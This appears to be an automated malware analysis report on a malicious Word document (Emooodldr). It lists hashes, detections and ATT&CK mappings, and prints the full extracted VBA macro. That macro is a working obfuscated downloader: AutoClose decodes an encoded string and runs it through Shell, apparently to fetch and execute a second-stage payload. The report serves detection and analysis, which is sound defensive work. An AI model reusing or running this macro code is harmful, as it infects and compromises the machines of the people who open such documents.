Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 c39babff09e33d20…

MALICIOUS

Office (OOXML)

33.2 KB Created: 2017-10-25 18:34:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-09-30
MD5: 9d095bfe4e4de6a0ff97f683fb3355f1 SHA-1: 13e758afee7ee7fabbdb5191a3b699508a91e388 SHA-256: c39babff09e33d20d0d24c0ff68810aa593a22fd53f5da287991a7373446a8da
244 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains VBA macros, including an Auto_Close macro, which utilizes the Shell() function to execute a command. The mogio function appears to deobfuscate a string that is then passed to the astice function, which calls Shell, likely to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2225 bytes
SHA-256: 72707eddebdf8e1efacb7a0ca89debe158b3577774d6b756ebac77b0062a0750
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function capace(neofita As Integer) As String
 Dim potere() As Variant
 potere = Array("d", "j", "D", "k", "o", "f", "O", "B", "g", "r", ")", "N", "y", "-", "'", "h", "+", "Y", "$", "x", "c", "E", "\", "=", "A", ";", "a", "C", "i", "b", ".", "/", "t", ":", " ", "T", "?", "P", "p", "m", "S", "(", "v", "W", "n", "e", "F", "w", ",", "s", "l")
 Dim umorismo As Integer
 
 For umorismo = LBound(potere) To UBound(potere)
   If umorismo = neofita Then
    capace = potere(umorismo)
   End If
 Next
 
End Function

Function barocco(ospedale As String)
    ospedale = StrConv(ospedale, vbUnicode)
    barocco = Split(Left(ospedale, Len(ospedale) - 1), vbNullChar)
End Function

Function mogio(romantico As String) As String
  Dim inter As Integer
  Dim baritono As String
  Dim murale As Variant
  murale = barocco(Trim(romantico))
  For umorismo = 0 To Len(romantico)
  
    If (umorismo + 1) <= UBound(murale) Then
    Dim gemmato As String
    gemmato = murale(umorismo)
    umorismo = umorismo + 1
    gemmato = gemmato + murale(umorismo)
    
    baritono = baritono + capace(Int(gemmato))
    End If
  Next
  
  mogio = baritono
End Function

Public Function astice(procura As String)
  Shell procura, 0
End Function

Sub AutoClose()
 Call Application.Run("astice", mogio("20390030451945343120343804474509491545505034132119452034071238264949341311043734132704393926440034411145471306290145203234401249324539301145323043452927502845443210300204474450042600462850454114153232383331310403014528443239043204094912302004393144284404313926092804303900051448341845444233243737022435243416341422030117113045194514102534403226093213370904204549493418454442332437370224352414220301171130451945142534411145471306290145203234401249324539301145323043452927502845443210300204474450042600403209284408411415323238333131040301452844323904320409491230200439314930381538362800233926092804141025"))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 809756e8d3bd587f7299e491cb82c0ef98cb96c2ad083622b936797643f6b286
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.